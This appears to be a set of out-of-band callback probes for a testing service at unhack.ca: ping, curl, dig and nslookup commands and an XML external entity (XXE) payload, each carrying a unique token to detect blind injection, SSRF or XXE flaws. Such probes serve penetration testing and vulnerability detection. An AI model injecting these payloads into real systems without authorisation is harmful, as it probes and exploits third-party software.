$ ping -c1 -p 00a64ac5108d057f25a22df4f4037500 unhack.ca
 

$ curl http://unhack.ca/p/a64ac5108d057f25a22df4f40375
 

$ dig a64ac5108d057f25a22df4f40375 @unhack.ca
 

$ dig a64ac5108d057f25a22df4f40375.ns.unhack.ca
 

C:\> nslookup a64ac5108d057f25a22df4f40375 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/a64ac5108d057f25a22df4f40375">]>
    <foo>&xxe;</foo>